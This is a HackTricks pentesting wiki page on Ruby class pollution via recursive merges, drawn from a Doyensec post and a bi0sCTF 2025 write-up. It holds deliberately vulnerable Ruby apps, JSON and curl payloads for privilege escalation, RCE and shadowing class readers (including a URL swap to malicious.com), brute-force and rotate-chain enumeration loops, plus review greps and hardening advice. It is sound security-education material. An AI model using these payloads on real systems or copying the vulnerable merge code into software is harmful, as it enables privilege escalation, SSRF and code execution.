ruby-class-pollution.md (18150B)
1 --- 2 title: "Ruby Class Pollution" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/ruby-class-pollution.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/ruby-class-pollution.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Ruby Class Pollution 14 15 This is a summary from the post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)<sup>[[1]](#references)</sup> 16 17 ## When a recursive merge becomes class pollution 18 19 A normal hash-to-hash `deep_merge` is not enough. The dangerous pattern is a recursive importer that treats untrusted keys as object attributes, dynamically creates readers/writers, or invokes a same-named method to obtain the next merge target. In the example below, a nested hash key reaches `respond_to?`/`public_send`, so keys such as `class`, `superclass` and `subclasses` become **zero-argument method calls** rather than data keys. A scalar leaf then reaches `instance_variable_set` and `singleton_class.attr_accessor`, giving the attacker a write primitive on the object reached by that method chain.<sup>[[1]](#references)</sup> 20 21 This distinction is useful during review:<sup>[[1]](#references)</sup> 22 23 - **Instance pollution:** a leaf overwrites a reader only on one object's singleton class. It can still bypass authorization or become RCE when the value later reaches `instance_eval`, `eval`, `send`, a template, or another dangerous sink. 24 - **Class-object pollution:** traversal reaches a `Class` object and installs an instance variable plus a singleton accessor on that class object. The new class method can shadow an existing reader and remains visible to all requests handled by that Ruby process.<sup>[[1]](#references)</sup> 25 26 ## Merge on Attributes 27 28 Example: 29 30 ```ruby 31 # Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html 32 # Comments added to exploit the merge on attributes 33 require 'json' 34 35 36 # Base class for both Admin and Regular users 37 class Person 38 39 attr_accessor :name, :age, :details 40 41 def initialize(name:, age:, details:) 42 @name = name 43 @age = age 44 @details = details 45 end 46 47 # Method to merge additional data into the object 48 def merge_with(additional) 49 recursive_merge(self, additional) 50 end 51 52 # Authorize based on the `to_s` method result 53 def authorize 54 if to_s == "Admin" 55 puts "Access granted: #{@name} is an admin." 56 else 57 puts "Access denied: #{@name} is not an admin." 58 end 59 end 60 61 # Health check that executes all protected methods using `instance_eval` 62 def health_check 63 protected_methods().each do |method| 64 instance_eval(method.to_s) 65 end 66 end 67 68 private 69 70 # VULNERABLE FUNCTION that can be abused to merge attributes 71 def recursive_merge(original, additional, current_obj = original) 72 additional.each do |key, value| 73 74 if value.is_a?(Hash) 75 if current_obj.respond_to?(key) 76 next_obj = current_obj.public_send(key) 77 recursive_merge(original, value, next_obj) 78 else 79 new_object = Object.new 80 current_obj.instance_variable_set("@#{key}", new_object) 81 current_obj.singleton_class.attr_accessor key 82 end 83 else 84 current_obj.instance_variable_set("@#{key}", value) 85 current_obj.singleton_class.attr_accessor key 86 end 87 end 88 original 89 end 90 91 protected 92 93 def check_cpu 94 puts "CPU check passed." 95 end 96 97 def check_memory 98 puts "Memory check passed." 99 end 100 end 101 102 # Admin class inherits from Person 103 class Admin < Person 104 def initialize(name:, age:, details:) 105 super(name: name, age: age, details: details) 106 end 107 108 def to_s 109 "Admin" 110 end 111 end 112 113 # Regular user class inherits from Person 114 class User < Person 115 def initialize(name:, age:, details:) 116 super(name: name, age: age, details: details) 117 end 118 119 def to_s 120 "User" 121 end 122 end 123 124 class JSONMergerApp 125 def self.run(json_input) 126 additional_object = JSON.parse(json_input) 127 128 # Instantiate a regular user 129 user = User.new( 130 name: "John Doe", 131 age: 30, 132 details: { 133 "occupation" => "Engineer", 134 "location" => { 135 "city" => "Madrid", 136 "country" => "Spain" 137 } 138 } 139 ) 140 141 142 # Perform a recursive merge, which could override methods 143 user.merge_with(additional_object) 144 145 # Authorize the user (privilege escalation vulnerability) 146 # ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' 147 user.authorize 148 149 # Execute health check (RCE vulnerability) 150 # ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' 151 user.health_check 152 153 end 154 end 155 156 if ARGV.length != 1 157 puts "Usage: ruby class_pollution.rb 'JSON_STRING'" 158 exit 159 end 160 161 json_input = ARGV[0] 162 JSONMergerApp.run(json_input) 163 ``` 164 165 ### Explanation 166 167 1. **Privilege Escalation**: The `authorize` method checks if `to_s` returns "Admin." By injecting a new `to_s` attribute through JSON, an attacker can make the `to_s` method return "Admin," granting unauthorized privileges. 168 2. **Remote Code Execution**: In `health_check`, `instance_eval` executes methods listed in `protected_methods`. If an attacker injects custom method names (like `"puts 1"`), `instance_eval` will execute it, leading to **remote code execution (RCE)**. 169 1. This is only possible because there is a **vulnerable `eval` instruction** executing the string value of that attribute. 170 3. **Impact Limitation**: This vulnerability only affects individual instances, leaving other instances of `User` and `Admin` unaffected, thus limiting the scope of exploitation. 171 172 ### Real-World Cases <a href="#real-world-cases" id="real-world-cases"></a> 173 174 ### ActiveSupport’s `deep_merge` 175 176 `Hash#deep_merge` is not vulnerable by itself because it only merges hashes. It becomes dangerous when application code subsequently turns every merged key into an accessor or writes it into an object, as in the following pattern.<sup>[[1]](#references)</sup> 177 178 ```ruby 179 # Method to merge additional data into the object using ActiveSupport deep_merge 180 def merge_with(other_object) 181 merged_hash = to_h.deep_merge(other_object) 182 183 merged_hash.each do |key, value| 184 self.class.attr_accessor key 185 instance_variable_set("@#{key}", value) 186 end 187 188 self 189 end 190 ``` 191 192 ### Hashie’s `deep_merge` 193 194 Hashie’s `deep_merge` method operates directly on object attributes rather than plain hashes. It **prevents replacement of methods** with attributes during a merge, with some **exceptions**: attributes ending in `_`, `!`, or `?` can still be merged into the object.<sup>[[1]](#references)</sup> 195 196 A special case is the standalone **`_`** attribute, which normally returns a `Mash` object. Because it is one of the exceptions, an attacker can modify it.<sup>[[1]](#references)</sup> 197 198 The following example shows how passing `{"_": "Admin"}` can satisfy the `_.to_s == "Admin"` authorization check: 199 200 ```ruby 201 require 'json' 202 require 'hashie' 203 204 # Base class for both Admin and Regular users 205 class Person < Hashie::Mash 206 207 # Method to merge additional data into the object using hashie 208 def merge_with(other_object) 209 deep_merge!(other_object) 210 self 211 end 212 213 # Authorize based on to_s 214 def authorize 215 if _.to_s == "Admin" 216 puts "Access granted: #{@name} is an admin." 217 else 218 puts "Access denied: #{@name} is not an admin." 219 end 220 end 221 222 end 223 224 # Admin class inherits from Person 225 class Admin < Person 226 def to_s 227 "Admin" 228 end 229 end 230 231 # Regular user class inherits from Person 232 class User < Person 233 def to_s 234 "User" 235 end 236 end 237 238 class JSONMergerApp 239 def self.run(json_input) 240 additional_object = JSON.parse(json_input) 241 242 # Instantiate a regular user 243 user = User.new({ 244 name: "John Doe", 245 age: 30, 246 details: { 247 "occupation" => "Engineer", 248 "location" => { 249 "city" => "Madrid", 250 "country" => "Spain" 251 } 252 } 253 }) 254 255 # Perform a deep merge, which could override methods 256 user.merge_with(additional_object) 257 258 # Authorize the user (privilege escalation vulnerability) 259 # Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin. 260 # Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' 261 user.authorize 262 end 263 end 264 265 if ARGV.length != 1 266 puts "Usage: ruby hashie.rb 'JSON_STRING'" 267 exit 268 end 269 270 json_input = ARGV[0] 271 JSONMergerApp.run(json_input) 272 ``` 273 274 ## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a> 275 276 The following example defines **`Person`**, the **`Admin`** and **`Regular`** subclasses that inherit from it, and a separate **`KeySigner`** class: 277 278 ```ruby 279 require 'json' 280 require 'sinatra/base' 281 require 'net/http' 282 283 # Base class for both Admin and Regular users 284 class Person 285 @@url = "http://default-url.com" 286 287 attr_accessor :name, :age, :details 288 289 def initialize(name:, age:, details:) 290 @name = name 291 @age = age 292 @details = details 293 end 294 295 def self.url 296 @@url 297 end 298 299 # Method to merge additional data into the object 300 def merge_with(additional) 301 recursive_merge(self, additional) 302 end 303 304 private 305 306 # Recursive merge to modify instance variables 307 def recursive_merge(original, additional, current_obj = original) 308 additional.each do |key, value| 309 if value.is_a?(Hash) 310 if current_obj.respond_to?(key) 311 next_obj = current_obj.public_send(key) 312 recursive_merge(original, value, next_obj) 313 else 314 new_object = Object.new 315 current_obj.instance_variable_set("@#{key}", new_object) 316 current_obj.singleton_class.attr_accessor key 317 end 318 else 319 current_obj.instance_variable_set("@#{key}", value) 320 current_obj.singleton_class.attr_accessor key 321 end 322 end 323 original 324 end 325 end 326 327 class User < Person 328 def initialize(name:, age:, details:) 329 super(name: name, age: age, details: details) 330 end 331 end 332 333 # A class created to simulate signing with a key, to be infected with the third gadget 334 class KeySigner 335 @@signing_key = "default-signing-key" 336 337 def self.signing_key 338 @@signing_key 339 end 340 341 def sign(signing_key, data) 342 "#{data}-signed-with-#{signing_key}" 343 end 344 end 345 346 class JSONMergerApp < Sinatra::Base 347 # POST /merge - Infects class variables using JSON input 348 post '/merge' do 349 content_type :json 350 json_input = JSON.parse(request.body.read) 351 352 user = User.new( 353 name: "John Doe", 354 age: 30, 355 details: { 356 "occupation" => "Engineer", 357 "location" => { 358 "city" => "Madrid", 359 "country" => "Spain" 360 } 361 } 362 ) 363 364 user.merge_with(json_input) 365 366 { status: 'merged' }.to_json 367 end 368 369 # GET /launch-curl-command - Activates the first gadget 370 get '/launch-curl-command' do 371 content_type :json 372 373 # This gadget makes an HTTP request to the URL stored in the User class 374 if Person.respond_to?(:url) 375 url = Person.url 376 response = Net::HTTP.get_response(URI(url)) 377 { status: 'HTTP request made', url: url, response_body: response.body }.to_json 378 else 379 { status: 'Failed to access URL variable' }.to_json 380 end 381 end 382 383 # Curl command to infect User class URL: 384 # curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge 385 386 # GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner 387 get '/sign_with_subclass_key' do 388 content_type :json 389 390 # This gadget signs data using the signing key stored in KeySigner class 391 signer = KeySigner.new 392 signed_data = signer.sign(KeySigner.signing_key, "data-to-sign") 393 394 { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json 395 end 396 397 # Curl command to infect KeySigner signing key (run in a loop until successful): 398 # for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done 399 400 # GET /check-infected-vars - Check if all variables have been infected 401 get '/check-infected-vars' do 402 content_type :json 403 404 { 405 user_url: Person.url, 406 signing_key: KeySigner.signing_key 407 }.to_json 408 end 409 410 run! if app_file == $0 411 end 412 ``` 413 414 ### Poison Parent Class 415 416 With this payload: 417 418 ```bash 419 curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge 420 ``` 421 422 The chain reaches the **`Person` class object**. In this exact PoC it does not alter `@@url`: the leaf branch sets `Person`'s `@url` and defines a singleton `url` accessor, shadowing the original `Person.url` reader that returned `@@url`. Callers nevertheless receive the attacker URL, and the change persists process-wide.<sup>[[1]](#references)</sup> 423 424 ### **Poisoning Other Classes** 425 426 With this payload: 427 428 ```bash 429 for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done 430 ``` 431 432 It is possible to brute-force the loaded classes until `sample` returns **`KeySigner`**, after which the dynamically installed `signing_key` singleton accessor shadows the original class reader. This approach is noisy: failed guesses may add accessors to unrelated classes, trigger exceptions, or destabilize the worker.<sup>[[1]](#references)</sup> 433 434 ### Deterministic traversal with `rotate` chains 435 436 The **rotate-chains** technique from bi0sCTF 2025 replaces random `sample` selection with nested zero-argument calls to `Array#rotate`, followed by `first`. If a subclasses array is `[A, B, C]`, the method chain `rotate.rotate.first` deterministically selects `C` for that particular array snapshot. Repeating the request with offsets `0..n-1` enumerates every direct subclass, and the same construction can be placed at each level of a deep Rails inheritance tree. The chain only works when every traversed object exposes the required zero-argument methods (in particular `subclasses`).<sup>[[2]](#references)</sup> 437 438 The following helper builds a selector for one level; wrap the terminal write from the deepest desired class back toward `Object` for multi-level traversal.<sup>[[2]](#references)</sup> 439 440 ```ruby 441 require "json" 442 443 def select_child(offset, tail) 444 node = {"first" => tail} 445 offset.times { node = {"rotate" => node} } 446 {"subclasses" => node} 447 end 448 449 walk = {"signing_key" => "injected-signing-key"} 450 walk = select_child(Integer(ARGV.fetch(0)), walk) 451 puts JSON.generate({"class" => {"superclass" => {"superclass" => walk}}}) 452 ``` 453 454 For the sample application, enumerate offsets and observe the signing endpoint (or another side channel) to identify success.<sup>[[2]](#references)</sup> 455 456 ```bash 457 for i in $(seq 0 300); do 458 body="$(ruby rotate_payload.rb "$i")" 459 curl -s -H 'Content-Type: application/json' -d "$body" http://localhost:4567/merge >/dev/null 460 curl -s http://localhost:4567/sign_with_subclass_key | grep -q injected && break 461 done 462 ``` 463 464 `Class#subclasses` is populated by the classes loaded in the current worker, so offsets may change after lazy loading, reloads, deployments, or between processes. Generate every nested rotate chain against the **same worker** when possible, use an application-level oracle to detect the desired class, and expect one offset search per ambiguous subclass level. Unlike `sample`, this makes each selection reproducible for a stable array snapshot, but it does not eliminate side effects when a wrong candidate also accepts the remaining chain.<sup>[[2]](#references)</sup> 465 466 ## Gadget hunting and source review 467 468 Pollution is a data-write primitive, not automatically RCE. After confirming a controllable leaf, trace every read of the shadowed method/attribute. High-value gadgets include HTTP client destinations (SSRF), signing/encryption material, authorization roles, SQL fragments, file paths, serializer choices, and values later passed to dynamic evaluation. The bi0sCTF chain, for example, used a polluted controller value to make an otherwise fixed SQL query attacker-controlled before chaining the result into a separate deserialization path.<sup>[[1]](#references)[[2]](#references)</sup> 469 470 Useful source-review seeds are:<sup>[[1]](#references)[[2]](#references)</sup> 471 472 ```bash 473 grep -RInE 'respond_to\?\(.*key|public_send\(.*key|send\(.*key' . 474 grep -RInE 'instance_variable_set|singleton_class.*attr_accessor|class_eval|instance_eval' . 475 grep -RInE 'deep_merge!?|recursive_merge|Mash|OpenStruct' . 476 ``` 477 478 Confirm whether attacker-controlled **keys**, not only values, reach these calls. Also test nested objects: flat allowlists can miss that a key becomes a method call only after the merge has traversed into another object.<sup>[[1]](#references)[[2]](#references)</sup> 479 480 ## Hardening 481 482 Keep untrusted input as plain hashes and copy only schema-allowlisted leaves into explicitly named setters. Do not derive accessor names or call `send`/`public_send` from input keys, and do not recurse into arbitrary return values merely because `respond_to?` is true. A denylist containing only `class`, `superclass` and `subclasses` is brittle because application/library methods can expose alternative paths; validate the complete key tree and reject unknown keys, excessive depth, and unexpected container types. If dynamic configuration is required, merge into a fresh hash and construct a typed object only after validation.<sup>[[1]](#references)[[2]](#references)</sup> 483 484 485 ## References 486 487 - [1] [Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) 488 - [2] [SFS_V1 - bi0sCTF 2025](https://blog.bi0s.in/2025/09/01/Web/SFS_V1-bi0sCTF20252025/)